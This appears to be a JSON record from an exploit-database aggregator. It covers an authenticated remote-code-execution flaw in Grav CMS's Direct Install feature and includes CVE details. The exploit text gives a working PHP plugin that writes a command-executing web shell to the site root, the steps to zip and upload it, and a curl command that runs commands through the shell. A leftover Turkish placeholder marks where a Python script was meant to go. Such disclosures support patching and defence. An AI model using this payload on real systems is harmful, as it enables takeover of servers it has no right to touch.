{"exploit":{"id":"EDB-52578","name":"Grav CMS 2.0.0-beta.2 - 'direct-install' Authenticated Remote Code Execution (RCE)","description":"Grav CMS 2.0.0-beta.2 - 'direct-install' Authenticated Remote Code Execution (RCE)","cves":["CVE-2026-42607"],"author":"Mustafa Murat Akgül","published":"2026-05-26","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52578","path":"exploits/php/webapps/52578.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52578.txt","vulnerabilities":[{"id":"CVE-2026-42607","state":"PUBLISHED","title":"Grav: Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature","titleSource":"CVE Program","description":"Grav is a file-based Web platform. Prior to 2.0.0-beta.2, an authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the \"Direct Install\" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server. This vulnerability is fixed in 2.0.0-beta.2.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-42607","cvss":{"version":"3.1","baseScore":9.1,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-42607"},"updatedAt":"2026-05-12T13:46:49.864Z","retrievedAt":"2026-11-25T16:15:50.289Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52578.png?v=2","url":"https://exploitbin.com/exploits/EDB-52578","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52578/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52578/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Grav CMS < 2.0.0-beta.2 - Remote Code Execution (RCE)\n# Date: 2026-05-08\n# Exploit Author: Mustafa Murat Akgül\n# Vendor Homepage: https://getgrav.org/\n# Software Link: https://github.com/getgrav/grav\n# Version: < 2.0.0-beta.2\n# CVE: CVE-2026-42607 / GHSA-w48r-jppp-rcfw\n# Tested on: Linux/Ubuntu (Grav Admin Plugin Enabled)\n\nTechnical Details:\nThe Grav CMS \"Direct Install\" feature in the Admin plugin allows administrators\nto upload plugins as ZIP files. The system failed to adequately validate the\ncontents of the ZIP archive or prevent path traversal (Zip Slip) during extraction.\nBy crafting a malicious plugin that hooks into Grav events (e.g., onPluginsInitialized),\nan attacker can execute arbitrary PHP code or drop a persistent web shell on the root directory.\n\nProof of Concept (PoC):\n\n1. Create a malicious plugin structure:\n   - shellplugin/blueprints.yaml\n   - shellplugin/shellplugin.yaml\n   - shellplugin/shellplugin.php (Payload below)\n\n--- shellplugin.php ---\n<?php\nnamespace Grav\\Plugin;\nuse Grav\\Common\\Plugin;\n\nclass ShellpluginPlugin extends Plugin {\n    public static function getSubscribedEvents(): array {\n        return ['onPluginsInitialized' => ['onPluginsInitialized', 0]];\n    }\n    public function onPluginsInitialized(): void {\n        $shell_path = GRAV_ROOT . '/shell.php';\n        if (!file_exists($shell_path)) {\n            file_put_contents($shell_path, '<?php system($_GET[\"cmd\"]); ?>');\n        }\n    }\n}\n----------------------\n\n2. Compress the directory:\n   $ zip -r shellplugin.zip shellplugin/\n\n3. Log in to the Grav Admin panel and navigate to:\n   /admin/tools/direct-install\n\n4. Upload the 'shellplugin.zip' file.\n\n5. Once installed, the plugin triggers on the next request to the site,\n   dropping a shell at the root.\n\n6. Access your shell:\n   curl \"http://<target>/shell.php?cmd=id\"\n\nExploit Script (Python):\n[Buraya yukarıda paylaştığın Python scriptini ekleyebilirsin]\n\nImpact:\nFull system-level access under the context of the web server user. An attacker\nwith administrative privileges (or via CSRF) can compromise the entire server.","sha256":"1eb792059a30b330f13551e5f84a20ac5208ddad2f1797b06df651522dc85d85","bytes":2108,"fetchedAt":"2026-11-26T11:05:53.017Z","encoding":"utf-8 (display only; download retains original bytes)"}